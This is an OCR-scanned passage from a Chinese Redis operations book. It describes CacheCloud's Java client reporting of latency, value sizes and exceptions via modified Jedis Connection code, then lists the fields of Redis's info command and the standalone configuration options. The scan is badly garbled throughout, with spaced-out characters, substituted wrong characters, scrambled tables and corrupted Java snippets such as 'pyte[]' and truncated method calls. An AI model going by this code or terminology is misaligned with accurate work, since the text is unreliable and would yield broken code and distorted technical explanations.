redis-migrate-tool ‘opUcachecloud/redis-migrate- 

其 他 | 安装 路 径 
huipsl/cachecloud github.io/ 

对 应 接 入 代码 中 的 Maven 仓库 http:i/your maven house 
appkey 密码 基准 key | 


appkey 密码 基准 key 计算 appkey 时 所 用 到 的 秘 铀 cachecloud-2014 


redis~migrate~tool 安装 路 径 


tool/ 
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13.7 客户 端 上 报 


客户 端的 耗 时 、 值 范围 、 异 常 对 于 开发 人 员 发现 定 位 自身 Redis 使 用 问 
题 至 关 重 要 ， 这 些 指标 是 了 解 Redis 客 户 端 运行 状态 的 关键 。 本 节 将 介绍 
CacheCloud 提 供 的 一 个 Java 客 户 端 上 报 功能 ， 可 以 将 上 述 信息 进行 可 视 化 展 
示 ， 本 节 内 容 包括 : 客户 端 上 报 整 体 设计 、Jedis 核 心 代码 修改 、 带 上 报 功 
能 的 客户 端 、CacheCloud 客 户 端 统计 。 
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13.7.1 客户 端 上 报 整 体 设计 







2.2. 接收 耗 时 数据 


】 耗 时 收集 


2.3. 接收 值 分 布 数据 


1. 上 报 数据 


| Jedis | 


3.1. 定时 收集 数据 


CacheCloud Client | 


PnoID3qPeD 凌 二 忆 '6 


CacheCloud Server | 








图 13-47 客户 端 上 报 整体 流程 


如 图 13-47 所 示 ，CacheCloud 客 户 端 整体 功能 需要 如 下 四 步 : 





1) 在 Jedis 上 做 二 次 开发 ， 对 Jedis 的 每 个 命令 产生 的 耗 时 、 返 回 value 的 
大 小 、 是 否 产 生 异 和 常 进行 拦截 和 统计 ， 修 改 本 身 对 Jedis 源 人 码 侵 入 较 小 。 





2) 管理 上 述 数 据 : 由 于 数据 保存 在 客户 端 〈 保 存 的 是 耗 时 分 布 、 值 分 
布 ) ， 需 要 对 数据 进行 定期 清理 〈 默 认 只 保存 3 分 钟 数据 ) 。 
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3) 将 各 个 维度 数据 〈( 耗 时 、 值 大 小 、 异 常 计数 等 ) 每 分 钟 通过 Rest 
API 上 报到 CacheCloud 服 务 端 。 


4) CacheCloud 服 务 端 接收 上 报 数据 ， 保 存在 MySQL 中 ， 并 提供 图 表 展 
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13.7.2 Jedis 核 心 代码 修改 


Jedis 所 有 的 命令 调用 函数 主要 分 为 两 个 部 分 : 发 送 命 令 和 获取 结 
如 图 13-48 所 示 。 


通过 进步 一 观察 ， 可 以 发 现 Jedis 所 有 命令 调用 经 过 
redis.clients.jedis.Connection 类 ， 其 中 发 送 命令 对 应 sendCommand () 函数 ， 
返回 结果 对 应 readProtocol WithCheckingBroken () 函数 ， 如 图 13-50 所 示 。 
所 以 可 以 在 Connection 类 的 这 两 个 方法 做 命令 调用 的 数据 收集 。 


PD tk 
1 
™ me ne eg | Connection 
| 
1 1 
| Jedis | 
ES ES， I 
| | 
| 
| | 
| String Set (String keyriString valuel{ i sendCommand (...) 
| client.set(key,value,params); 1 
returnclient .getStatuscodeRepPlLYy () ; | 1 
Ja 
| 
| 1 
,本 see 
| 
| | 
| String getl(final String key) { 1 
| client.sendCommand (GET, key); | readProtocolWith 
| return client.getBulkReply(); CheckingBroken( ) 
} | 
| 
Ne 
————————————— | 
1 1 I 
TD a a a es OM 二 
| 
1 
Ce ni, 


图 13-48 ”Jedis 命 令 与 Connection 类 的 对 应 关系 
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由 于 分 布 在 两 个 函数 中 ， 为 了 减少 对 Jedis 源 码 的 破坏 ， 所 以 在 
Connection 类 中 定义 了 一 个 ThreadLocal， 来 记录 每 次 命令 访问 的 相关 数据 。 





static ThreadLocal<UsefulDataModel> threadLocal = new ThreadLocal<UsefulDataMod 








1) 发 送 命令 的 修改 : 记录 执行 的 命令 和 开始 的 时 间 ， 并 在 发 生 异 常 时 
进行 记录 。 





public Connection sendCommand (final ProtocolCommand cmd, final bytel[]... args) 
try { 
/ / 统计 开始 














UsefulDataModel costModel = UsefulDataModel.getCostModel (threadLocal); 
/ / 记录 命令 

















costModel.setCommand (cmd.toString() .toLowerCase () ) ; 
/ /记录 命令 开始 时 间 
costModel.setStartTime (System.currentTimeMillis()); 


connect (); 

Protocol.sendCommand (outputStream, cmd, args); 

return this; 
} catch (JedisConnectionException ex) { 

/ / 收集 异常 

UsefulDataCollector.collectException(ex, getHostPort(), System.currentT 
Millis()); 
// .. .忽略 


throw ex; 

















2) 获取 命令 结果 : 记录 命令 结束 时 间 、 节 点 信息 、 值 大 小 ， 最 终 是 使 
用 UsefulData Collector 上 报 耗 时 和 值 大 小 。 





protected Object readProtocolWithCheckingBroken() { 
Object o = null; 
try { 
oO = Protocol.read (inputStream); 
return o; 
} catch (JedisConnectionException exc) { 




















/ / 收集 异常 

UsefulDataCollector.collectException(exc, getHostPort(), System.current 
TimeMillis()); 

broken = true; 


throw exc; 

} finally { 

// 1. 从 ThreadLocal 获 取 状 态 

UsefulDataModel costModel = UsefulDataModel.getCostModel (threadLocal); 
/ / 2 . 记录 命令 节点 信息 和 结束 时 间 

CostModel .setHostPort (getHostPort () ) ” 
costModel.setEndTime (System.currentTimeMillis()); 
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/ / 3 . 记录 值 大 小 

if (o != null && o instanceof pyte[]) { 
byte[] bytes = (byte[]) o; 
/ / 上 报 字 节 大 小 
costModel.setValueBytesLength (bytes.length);} 











} 

// 4 .清除 threadLocal 

threadLocal.remove ();，; 

// 5. 收集 耗 时 和 值 大 小 

if (costModel.getCommand() != null) { 
UsefulDataCollector.collectCostAndValueDistribute (costModel); 
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13.7.3 ”市 上 报 功 能 的 客户 端 

上 个 小 节 介 绍 了 一 下 Jedis 代 码 统计 数据 的 方法 和 思路 ， 本 节 将 介绍 如 
何 使 用 带 有 上 报 功能 的 客户 端 。 

1) 修改 Jedis。 


下 载 Jedis2.8 以 上 的 版 本 。 修 改 Connection 类 ， 前 面 只 给 出 了 重要 代码 ， 
全 部 修改 请 参考 : 





https:// github.com/sohutv/jedis-2.8.0-stat/commit/0d82201172df25f769ced2786c88 
5b928060c13 





在 Jedis 中 添加 如 下 Maven 依 赖 : 





<dependency> 
<grouplId>com.sohu.tv</groupId> 
<artifactId>cachecloud-open-jedis-stat</artifactId> 
<version>1.0</version> 

</dependency> 





这 个 模块 是 CacheCloud 客 户 端 的 统计 模块 ， 上 个 小 节 中 的 
UsefulDataCollector 和 UsefulDataModel 都 在 这 个 模块 中 ， 其 中 包含 了 
CacheCloud 客 户 端 管理 统计 数据 和 http 上 报 的 相关 代码 ， 这 些 代码 都 打包 在 
cachecloud-open-jedis-stat 中 ， 读 者 可 以 自行 阅读 。 


2) 以 Redis Cluster 为 例 ，RedisClusterBuilder 可 以 设置 统计 开关 : 





public RedisClusterBuilder setClientStatIsOpen(boolean clientStatIsOpen) { this 





3) 将 cachecloud-open-client-redis 包 的 pom.xml 中 的 Jedis 版 本 修改 为 你 的 
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私有 版 本 : 





<properties> 
<jedis.version>${ 仿 上报 功能 的 Jedis 版 本 }</jedis.version> 
</properties> 





将 客户 端 打 包 后 放 到 项 目 中 使 用 ， 一 段 时 间 后 就 可 以 看 到 统计 报表 功 


ZI 
CC 
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13.7.4 ”CacheCloud 客 户 端 统计 


进入 应 用 详情 界面 ， 点 击 客户 端 统计 按钮 即 可 进入 客户 站 统计 报表 页 
面 。 


1) 应 用 和 客户 站 的 全 局 耗 时 统计 ， 命 令 按照 调用 量 倒 排 序 。 
2) 所 有 客户 六 和 Redis 实 例 对 应 关系 ， 以 及 耗 时 统计 。 


3) 耗 时 统计 包含 了 : 平均 值 、 中 位 值 、90% 最 大 值 、99% 最 大 值 、 最 
大 值 五 个 维度 。 

第 二 步 ， 值 分 布 统计 : 客户 端 每 次 获取 结果 的 大 小 都 会 被 计数 ， 图 13- 
50 是 所 有 值 的 分 布 ， 需 要 注意 的 是 这 些 值 是 客户 站 访问 过 的 键 ， 不 代表 
Redis 中 所 有 的 键 。 此 功能 有 助 于 开发 和 运 维 人 员 分 析 bigkey 问 题 。 
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结束 日 期 : 2016-10-23 








(客户 端 --redis 实 例 ) 关 系 表 


chart 


图 13-49 ”客户 端 耗 时 统计 
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200-500k:4 次 










50-100k:26818 次 
20-50k:2097767 次 
10-20k:989 次 
5-10k:180860 次 
2-5k:5462841 次 
1-2k:8079177 次 
0.5k-1k:5159 次 


0.1k-0.2k:17242958 次 
0.05k-0.1k:1791281 次 


0-0.05k:640123745 次 


图 13-50 ” 值 分 布 统计 


第 三 步 ， 异 常 统 计 : 腊 第 统计 选项 卡 包 含 了 客户 着 一段 时 间 的 异常 计 
数 ， 如 图 13-51 所 示 。 方 便 开发 和 运 维和 人员 可 以 根据 异常 发 生 的 时 间 、 类 
型 、 数 量 找 出 对 应 的 问题 。 





id 收集 时 间 客户 端 p 异常 类 实例 地 址 


10933750 2016-10-22 15:55:00 10.7.xx.148 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.52:6382 








10933749 2016-10-22 15:55:00 10.1.xx.34 redis.clients,jedis.exceptions,JedisConnectionException 10.10.xx.63:6382 





10929958 2016-10-22 13:45:00 10.10.xx.204 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.22:6380 





10929955 2016-10-22 13:45:00 10.16.xx.176 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.52:6380 


10929948 2016-10-22 13:45:00 10.16.xx.183 redis..clients.jedis.exceptions.JedisConnectionException 10.10.xx.45:6380 





10929935 2016-10-22 13:45:00 10.10.xx.12 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.52:6380 





10929934 2016-10-22 13:45:00 10.10.xx.13 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.56:6380 





10913592 2016-10-22 01:35:00 10.10.xx.13 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.79:6382 











10913591 2016-10-22 01:35:00 10.10.xx.12 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.62:6383 





10913590 2016-10-22 01:35:00 10.10.xx.12 redis.clients.jedis.exceptions.JedisConnectionException 10.10.xx.62:6384 














图 13-51 客户 端 腊 常 报表 
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13.8 本章 重 点 回顾 





1 ) CacheCloud 可 以 解决 规模 化 运 维 Redis 带 来 的 问题 : 部 署 成 本 、 实 例 


2) CacheCloud 与 机 器 使 用 SSH 协 议 通 信 ， 所 以 使 用 脚本 初始 化 机 器 信 
真 写 的 ssh 用 户 名 和 密码 必须 和 后 台 系 统 配置 一 致 。 


3) CacheCloud 客 户 端 只 是 局 动 时 从 服务 端 获 取 应 用 的 Redis 节 点 信息 ， 
之 后 不 会 与 之 产生 交互 。 





4) 利用 好 CacheCloud 的 监控 功能 ， 对 于 了 解 Redis 的 运行 健康 状况 至 关 


年 机 。 


5) CacheCloud 提 供 了 功能 强大 的 运 维 功能 : 应 用 上 下 线 、 扩 容 、 配 置 
修改 、Redis 节 点 上 下 线 、Failover、 数 据 迁 移 、 各 维度 监控 报警 等 。 


6) 客户 端 上 报 功 能 可 以 有 效 帮 助 开 友和 运 维 人 员 了 解 客 户 端 运 行 状 





7) Jedis 中 的 Connection 类 是 命令 的 汇集 点 ， 是 用 来 做 命令 统计 的 基础 ， 
其 他 编程 语言 客户 端 也 可 以 参照 此 方法 进行 二 次 开发 。 
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第 14 音 ”Redis 配 置 统 计 字 典 


本 章 将 对 Redis 的 系统 状态 信息 (info 命 令 结 果 ) 和 Redis 的 所 有 配置 
(包括 Standalone、 


Sentinel、Cluster 三 种 模式 ) 做 一 个 全 面 的 梳理 ， 和 希望 本 章 能 够 成 为 
Redis 配 置 统 计 字 典 ， 协 助 大 家 分 析 和 解 诀 日 常 开发 和 运 维 中 遇 到 的 问题 ， 
主要 内 容 如 下 : 


“info 系 统 状 态 说 明 。 
:Standalone 配 置 说 明 。 
Sentinel 配 置 说 明 。 


-Cluster 配置 说 明 。 
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14.1 info 系 统 状 态 说 明 


14.1.1 命令 说 明 





info 命 令 的 使 用 方法 有 以 下 三 种 : 
Info : 部 分 Redis 系 统 状 态 统计 信息 。 
.info all: 全 部 Redis 系 统 状态 统计 信息 。 


“info section: 某 一 块 的 系统 状态 统计 信息 ， 其 中 section 可 以 忽略 大 小 


例如 ， 只 对 Redis 的 内 存 相 关 统 计 比 较 感 兴趣 ， 可 以 执行 info memory， 
此 时 section=memory， 下 面 是 info memory 的 结果 : 





127.0.0.1:6379> info memory 
# Memory 

used memory:5209229784 

used memory human:4.85G 

used memory rss:6255316992 
used memory peak:5828761544 
used memory peak human:5.43G 
used memory lua:36864 

mem fragmentation ratio:1.20 
mem allocator:jemalloc-3.6.0 





在 运 维 的 时 候 发 现 客户 问 有 些 异 常 ， 可 以 执行 client clients， 如 以 下 信 
晨 反 映 了 输出 缓冲 区 存在 溢出 的 情况 : 





127:0.0.156379> Lnfo Slients 
# Clients 

connected clients:225 
client longest output list:245639 
client biggest input buf:0 
blocked clients:0 


ee | 
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info all 命 令 包含 Redis 最 全 的 系统 状态 信息 ， 表 14-1 是 info all 命 令 涉 及 的 
所 有 section， 其 中 每 个 模块 名 就 是 我 们 上 面 提 到 的 secttion， 例 如 info Server 
是 查看 Redis 服 务 的 基本 信息 / 世 、o 


表 14-1 info 命 令 所 有 的 section 

模块 名 模块 含义 
Server 服务 器 信息 
Clients 客户 端 信息 
Memory 内 存 信 息 
Persistence 持久 化 信息 
Stats 全 局 统计 信息 
Replication 复制 信息 
CPU CPU 消耗 信息 
Commandstats 命令 统计 信息 
Cluster 集群 信息 
Keyspace 数据 库 键 统计 信息 


871 


14.1.2 ”详细 说 明 


下 面 将 对 每 个 模块 进行 详细 说 明 ， 为 了 更 加 方便 解释 ， 我 们 直接 结合 线 
上 一 个 运行 的 Redis 实 例 进 行 说 明 。 


1.Server 


表 14-2 是 info Server 模 块 的 统计 人 信息， 包含 了 Redis 服 务 本 刁 的 一 些 信 
妃 ， 例 如 版 本 号 、 运 行 模式 、 操 作 系 统 的 版 本 、TCP 端 口 等 。 


表 14-2 info Server 模 块 统计 信息 


属性 名 属性 描述 
redis version Redis 服务 版 本 
redis git shal Git SHAI1 
redis git dirty lo | Git dirty flag 
redis build id Redis build id 

到 Standalone 
os Redis 所 在 机 器 的 操作 系统 
multiplexing api Redis 所 使 用 的 事件 处 理 机 制 
gcc_version 编译 Redis 时 所 使 用 的 GCC 版 本 
process id Redis 服务 进程 的 PID 
run_id Redis 服务 的 标识 符 
uptime in seconds 自 Redis 服务 启动 以 来 ,运行 的 秒 数 
uptime in days 自 Redis 服务 启动 以 来 ,运行 的 天 数 
hz | serverCron 每 秒 运 行 次 数 
pg re | 以 分 钟 为 单位 进行 月 增 的 时 钟 ， 用 
2 于 LRU 管理 

i Reais 的 配 慎 文件 


2.Clients 


了 


心 


表 14-3 是 info Clienfks 模 块 的 统计 信息 ， 包 含 了 连接 数 、 阻 塞 命令 连接 
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数 、 输 入 输出 缓冲 区 等 相关 统计 信息 。 


表 14-3 ”info Clients 模 块 统计 信息 
属性 名 属性 描述 





connected _ clients 262 当前 客户 端 连接 数 
client longest output list 0 当前 所 有 输出 缓冲 区 中 队列 对 象 个 数 的 最 大 值 
client biggest input buf | 0 | 当前 所 有 输入 缓冲 区 中 占用 的 最 大 容量 


blocked _ clients 正在 等 竺 阻塞 命令 (例如 BLPOP 等 ) 的 客户 端 数量 
3.Memory 


表 14-4 是 info Memory 模 块 的 统计 信息 ， 包 含 了 Redis 内 存 使 用 、 系 统 内 
存 使 用 、 倍 片 率 、 内 存 分 配器 等 相关 统计 信息 。 


is 


表 14-4 ”info Memory 模 块 统 计 信 息 


Redis 分 配器 分 配 的 内 存 总 量 ， 也 就 是 内 部 存储 的 所 有 数 
据 内 存 占用 量 


属性 名 


used memory 





( 续 ) 

属性 名 属性 描述 
used memory human 以 可 读 的 格式 返回 used_memory 
used memory rss 从 操作 系统 的 角度 ，Redis 进程 占用 的 物理 内 存 总 量 
used memory peak 内 存 使 用 的 最 大 值 ， 表 示 used_memory 的 峰值 
used memory peak human 以 可 读 的 格式 返回 used memory_peak 
used memory lua Lua 引擎 所 消耗 的 内 存 大 小 
mem fragmentation ratio Used_memory_rss/used_memory 比值 ， 表 示 内 存 雁 片 率 
mem allocator Redis 所 使 用 的 内 存 分 配 回 。 默 认为 : jemalloc 

4.Persistence 


表 14-5 是 info Persistence 模 块 的 统计 信息 ， 包 含 了 RDB 和 AOF 两 种 持久 
化 的 一 些 统计 信息 。 


A 


表 14-5 ”info Persistence 模 块 统计 信息 


873 


属性 名 属性 值 属性 描述 


loading 是 否 在 加 载 持 久 化 文件 。0 否 ，1 是 

rdb changes since last save | 53308858 自 上 次 RDB 后 ，Redis 数据 改动 条 数 

rdb bgsave in progress 标识 RDB 的 bgsave 操作 是 否 进行 中 。 0 否 ，1 是 
rdb last save time 1456376460 | 上 次 bgsave 操作 的 时 间 蕉 


rdb last bgsave status 上 次 bgsave 操作 状态 

上 次 bgsave 操作 使 用 的 时 间 (单位 是 秒 ) 

如 果 bgsave 操作 正在 进行 ， 则 记录 当前 bgsave 操作 使 
用 的 时 间 (单位 是 秒 ) 

是 否 开 启 了 AOF 功能 - 0 否 ，1 是 

标识 AOF 的 rewrite 操作 是 否 在 进行 中 。0 否 ，1 是 

标识 是 否 将 要 在 RDB 的 bgsave 操作 结束 后 执行 AOF 
rewrite 操作 

上 次 AOF rewrite 操作 使 用 的 时 间 (单位 是 秒 ) 

如 果 rewrite 操作 正在 进行 ， 则 记录 当前 AOF rewrite 
所 使 用 的 时 间 (单位 是 秒 ) 


rdb last bgsave time sec 
rdb current bgsave time sec 


aof enabled 


aof rewrite in progress 
aof rewrite scheduled 
aof last rewrite time sec 


aof current rewrite time sec 


aof last bgrewrite status ok 上 次 AOF 重 写 操作 的 状态 

aof last write status 上 次 AOF 写 磁 盘 的 结果 

aof current size 186702421 AOF 当前 尺寸 (单位 是 字 节 ) 

aof base size 134279710 AOF 上 次 启动 或 rewrite 的 尺寸 (单位 是 字 节 ) 


AOF buffer 的 大 小 

AOF rewrite buffer 的 大 小 

后 台 IO 队列 中 等 待 Esync 任务 的 个 数 
延迟 的 fsync 计数 器 


aof buffer length 
aof rewrite buffer length 


aof pending bio fsync 


© Uw | 口 


aof delayed fsync 


S$.Stats 


表 14-6 是 info Stats 模 块 的 统计 信息 ， 是 Redis 的 基础 统计 信息 ， 包 含 了 : 
连接 、 命 令 、 网 络 、 过 期 、 同 步 等 很 多 统计 信息 。 


表 14-6 ”info Stats 模 块 统计 信息 


Co 
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属性 名 属性 值 属性 描述 
total connections received |495967 连接 过 的 客户 端 总 数 
total commands processed 5139857171 执行 过 的 命令 总 数 
instantaneous ops per sec 每 秒 处 理 命令 条 数 
total net input bytes 282961395316 输入 总 网 络 流量 (以 字 节 为 单位 ) 
total net output bytes 1760503612586 | 输出 总 网 络 流量 (以 字 节 为 单位 ) 
instantaneous input kbps 28.24 每 秒 输 入 字 节 数 
instantaneous output _ kbps |234.90 每 秒 输 出 字 节 数 
rejected connections 拒绝 的 连接 个 数 


sync full 主 从 完全 同步 成 功 次 数 
主 从 部 分 同步 成 功 次 数 


主 从 部 分 同步 失败 次 数 


sync partial ok 


syne partial err 


expired keys 45534039 过 期 的 key 数量 

evicted keys 剔除 (超过 了 maxmemory 后 ) 的 key 数量 
keyspace hits 3923837939 命中 次 数 

keyspace misses 1078922155 不 命中 次 数 

pubsub channels 当前 使 用 中 的 频道 数量 

pubsub patterns 当前 使 用 中 的 模式 数量 

latest fork usec 16194 最 近 一 次 fork 操作 消耗 的 时 间 ( 微 秒 ) 


记录 当前 Redis 正在 进行 migrate 操作 的 目标 Redis 个 数 。 
例如 Redis A 分别 向 Redis B 和 C 执行 migrate 操作， 那 
这 个 值 就 是 2 


migrate cached _ sockets 


> iS] 
me 


NN 


6.Replication 


表 14-7 是 info Replication 模 块 的 统计 信息 ， 包 含 了 Redis 主 从 复制 的 一 些 
统计 信息 ， 根 据 主 从 节点 ， 统 计 信 息 也 略 有 不 同 


表 14-7 info Replication 模 块 统计 信息 











属性 值 


slave0:ip=10.10.xx.160,port= 
slave0 6382,state=online,offset=42697 | ”连接 的 从 节点 信息 
8948465,lag=1 






节点 的 角色 
连接 的 从 节点 个 数 
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A CE 


master port 端口 
与 主 节 点 的 连接 状态 
主 节 点 最 后 与 从 节点 的 通信 时 间 间 
隔 ， 单 位 为 秒 
入 点 是 否 正 在 全 量 同 步 主 节点 

RDB 文件 。 
426978956171 复制 偏 移 量 

从 节点 优先 级 

从 节点 是 否 只 读 

连接 从 节点 个 数 

当前 从 节点 作为 其 他 节点 的 主 节点 时 
的 复制 偏 移 量 
复制 缓冲 区 尺寸 (单位: 字 节 ) 


通用 配置 | repl backlog first 复制 缓冲 区 起 始 偏 移 量 ， 标 识 当 前 组 
首 二 呈 : | | 复制 变 冲 起 台 偏 移 量 ， 标 识 当 前 组 
byte _ offset 冲 区 可 用 范围 


10000000 标识 复制 缓冲 区 已 存 有 效 数 据 长 度 


master link _ status 


master last io seconds 


master sync in progress 


Slave nepl 下 SS 
STLave PEIiOVItY 
slave read only 


connected slaves 


Vy 
Q 
0 
J 
SS LD 
Lm] Co 
一 1 
= 
Tr 


master repl offset 


7.CPU 





表 14-8 是 info CPU 模块 的 统计 信息 ， 包 含 了 Redis 进 程 和 子 进程 对 于 CPU 
消耗 的 一 些 统计 信息 。 


表 14-8 info CPU 模块 统计 信息 


属性 名 属性 描述 
| 3195730 


used cpu sys 31957.30 Redis 主 进程 在 内 核 态 所 占用 的 CPU 时 钟 总 和 
used cpu user 72484.27 Redis 主 进程 在 用 户 态 所 占用 的 CPU 时 钟 总 和 


used cpu sys children 121.49 Redis 子 进程 在 内 核 态 所 占用 的 CPU 时 钟 总 和 
used cpu user children 195.13 Redis 子 进程 在 用 户 态 所 占用 的 CPU 时 钟 总 和 


8.Commandstats 


表 14-9 是 info Commandstats 模 块 的 统计 信息 ， 是 Redis 命 令 统 计 信 息 ， 包 
含 各 个 命令 的 命令 名 、 总 次 数 、 总 耗 时 、 平 均 耗 时 。 


a 


表 14-9 ”info Commandstats 模 块 统计 信息 
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人 


get 命令 调用 总 次 数 
均 耗 时 (单位 : 微 秒 ) 

set 命令 调用 总 次 数 、 总 耗 时 , 平 
均 耗 时 (单位 : 微 秒 ) 


总 耗 时 、 平 





cmdstat get 





calls=50174458.usec=323143686.usec per call=6.44 





9.Cluster 


表 14-10 是 info Cluster 横 块 的 统计 信息 ， 目 前 只 有 一 个 统计 信息 ， 标 识 当 
前 Redis 是 否 为 Cluster 模 式 。 


表 14-10 ”info Cluster 模块 统计 信息 


属性 名 


cluster enabled 


属性 描述 
节点 是 否 为 cluster 模式 。 0 否 





10.Keyspace 


表 14-11 是 info Keyspace 模 块 的 统计 信息 ， 包 含 了 每 个 数据 库 的 键 值 统计 


言 息 O 
表 14-11 info Keyspace 模 块 统计 信息 
属性 名 属性 描述 


当前 数据 库 key 总 数 ， 带 有 过 期 时 间 的 key 总 数 ， 


db0 db0:keys=106430,expires=56107,ave ttl=60283952 
y 站 平均 存活 时 间 
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14.2 standalone 配 置 说 明和 分 析 








相对 于 很 多 大 型 存储 系统 ，Redis 的 配置 不 是 很 多 ， 到 了 Redis3.0 之 后 有 
60 多 个 ， 虽 然 还 是 不 多 ， 但 是 每 个 配置 都 有 很 重要 的 作用 和 意义 ， 本 节 我 们 
将 对 Redis 单 机 模式 下 的 所 有 配置 进行 说 明 : 
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14.2.1 总 体 配置 


表 14-12 是 Redis 的 一 些 总 体 配 置 ， 例 如 端口 、 日 志 、 数 据 库 等 。 


表 14-12 ”总体 配置 


有 可否 支 持 config 

配置 名 信义 可 先 值 ee 
enon | RR 
Re 0 A 
i 三 


空 (不 通过 unix 


unixsocket unix 套 接 字 





| 拓 十 交 的 S 不 可 以 


unixsocketperm unix 套 接 字 权 限 | Linux 三 位 数 权限 不 可 以 


Redis 运行 的 进 | /var/run/redis. 
pidfile 得 ee a /var/run/redis- {port} .pid 不 可 以 
旦 pid - 


Lua 脚 本 ”超时 整数 ,但 是 此 超时 不 会 真正 
时 间 ” (单位 : 毫秒 ) 停止 脚本 运行 ， 具体 参考 第 3 章 


可 否 支 持 config 
er Fi 
看 门 狗 ， 用 于 诊 
断 Redis 的 延迟 问 


题 ， 此 参数 是 检查 





lua-time-l1imit $5000 





watchdog-period 周期 . (此 参数 需 可 以 
要 在 运行 时 配置 才 
能 生效 ) 
. 首 定 是 否 激活 重 i 
activerehashing 置 哈 希 8 可 以 
工作 目录 (aof、 
dir rdb、 日 志文 件 都 | . 自 定 久 可 以 





存放 在 此 目录 ) 
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14.2.2 最 大 内 存 及 策略 





表 14-13 是 Redis 内 存 相 关 配 置 ， 第 8 章 有 详细 介绍 。 


表 14-13” 内存 相关 配置 


可 否 支 持 config 
EE car 
maxmemory 本 有 MN 0( 没 有 限制 )| ”整数 可 以 
(单位 字 计 


volatile-lru -> 用 lru 算法 删除 过 期 的 键 值 


allkeys-lru -> 用 lru 算法 删除 所 有 键 值 


a 内 存 不 够 时 ， volatile-random -> 随机 删除 过 期 的 键 值 可 以 
maxmemory-policy 淘汰 策略 noeviction alikeysrand om 随机 删除 任何 键 值 
volatile-ttl -> 删除 最 近 要 到 期 的 键 值 


noeviction -> 不 删 除 键 


检 测 LRU 采 GE 
maxmemory-samples 可 以 
样 数 
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14.2.3 AOF 相 关 配 置 





表 14-14 是 AOF 方 式 持 久 化 相关 配置 ， 第 5 章 有 详细 介绍 。 


表 14-14 AOF 相 关 配 置 
可 否 支 持 


有 权 否 支 失 
配置 名 含义 默认 值 可 选 值 config set 
配置 热 生 效 


i AGE ab | 
appendfsync AOF 同步 磁盘 频率 alwaysleveryseclno 可 以 
appendfilename AOF 文件 名 appendonly.aof | appendonly-{port}.aof | 不 可 以 


( 续 ) 


可 否 支 持 
配置 名 倪 义 默认 值 可 选 值 config set 
加 载 AOF 文件 时 ， 是否 
aof-load-truncated 忽略 AOF 文件 不 完整 的 情 |yes yeslno 可 以 
况 ， 让 Redis 正常 启动 
设置 为 yes 表示 rewrite 期 2 
no-appendfsync-on-| 间 对 新 写 操 作 不 fsynce， 暂 ee 
So , nolyes 可 以 
rewrite 时 存在 缓冲 区 中 ， 等 rewrite 
完成 后 再 写 人 


auto-aof-rewrite-min- 触发 rewrite 的 AOF | 
(代表 兆 ) 可 以 


auto aof =rewrite-= 触发 rewrite 的 AOF 文件 a 
percentage 的 增长 比例 条 件 

aof-rewrite-incremen-| AOF 重 写 过 程 中 ， 是 否 
tal-fsync 采取 增 量 文件 同步 策略 








可 以 
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14.2.4 RDB 相 关 配 置 


表 14-15$ 是 RDB 方 式 持久 化 相关 配置 ， 第 $ 章 有 详细 介绍 。 





表 14-1$ RDB 相关 配置 


可 否 支 持 config 
配置 名 set 配置 热 生效 


900 1 
RE 如 果 没 有 该 配置 ， 代 


save RDB 保存 条 件 save 300 10 可 以 
save 60 10000 


表 不 使 用 自动 RDB 策略 


dbfilename RDB 文件 名 dump.rdb dump- {port}.rdb 可 以 

| 二 昌 实 人 三 

SNECRSON | ROB 文件 的 TD 
es 


stop-writes-on- | bgsave 执 行 错误 ,是否 可 以 
凡 . pe a eslno 
bgsave-error ”| 停止 Redis 接受 写 请 求 
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14.2.5 ” 慢 查 询 配 置 





表 14-16 是 Redis 慢 查询 相关 配置 ， 第 3 章 有 详细 介绍 。 


表 14-16 ” 慢 查 询 相 关 配 置 


可 否 支 持 config set 
0 et 配置 热 生 效 
慢 A 
slowlog-log-slower-than 人 记录 的 阐 值 (单位 CE 可 以 


slowlog-max-len 最 多 记录 慢 查询 的 条 数 ”|128 ”| 整数 | 可 以 
latency-monitor-threshold Redis 服务 内 存 延 迟 监控 0 (关闭 ) 可 以 
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14.2.6 ”数据 结构 优化 配置 


表 14-17 是 Redis 数 据 结构 优化 的 相关 配置 ， 第 8 章 有 详细 介绍 。 





表 14-17 数据 结构 优化 相关 配置 
配置 名 可 否 支持 config set 配置 热 生效 











hash-max-ziplist-entries hash 数据 结构 优化 参数 可 以 
hash-max-ziplist-value hash 数据 结构 优化 参数 可 以 
list-max-ziplist-entries list 数据 结构 优化 参数 可 以 
list-max-ziplist-value list 数据 结构 优化 参数 | “64 | 整数 | 可 以 
set-max-intset-entries set 数据 结构 优化 参数 可 以 
zset-max-ziplist-entries zset 数据 结构 优化 参数 可 以 


zset-max-ziplist-value zset 数据 结构 优化 参数 可 以 


HyperLogLog 数据 结构 区 
hll-sparse-max-bytes 5 3000 整数 可 以 
优化 参数 
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14.2.7 复制 相关 配置 


表 14-18 是 Redis 复 制 相 关 的 配置 ， 第 6 章 有 详细 介绍 。 





表 14-18 复制 相关 配置 







可 否 支持 
配置 名 冤 义 默认 值 | 可 选 值 | config set 配 
置 热 生 效 
a 让 i \ 可 以 ， 但 
指定 当前 从 节点 复制 哪个 主 节点 ， 参 数 : es { 
slaveof 主 节 点 的 ip 和 port ip 和 端口 | 可 以 用 slaveof 
EH ip Pp 命令 设置 
, : 主 节 点 定期 向 从 节点 发 送 ping 命令 的 周 
1- -slave- qd 整 上 
FeP ?了 9 9 er9 pe 9 | 斯 ,用 于 判定 从 节点 是 从 存活 。( 划 从 ; 各) FE 和 
repl-timeout 主 从 节点 复制 超时 时 间 (单位 : 秒 ) | 60 “| 整数 | 可 以 


repl-backlog-size 复制 积压 缓存 区 大 小 可 以 


二 节 十 4 2 二 茹 占 的 情 ; i 和 时 
EE 节点 在 没有 从 节点 的 情况 下 多 长 时 间 i 


后 释放 复制 积压 缓存 区 空间 


slave-priority 从 节点 的 优先 级 | 100 |o-100 | 可 以 


min-slaves-to-write 当主 节点 发 现 从 节点 数量 小 于 min-slaves- | 0 “| 整数 | 可 以 


to-write 且 延迟 小 于 等 于 min-slaves-max-la 
min-slaves-max-lag 时 wa 8 10 整数 可 以 
4, S -了 木 六 


当 从 节点 与 主 节 点 连接 中 断 时 ， 如 果 此 
参数 值 设置 为 “yes”， 从 节点 可 以 继续 处 
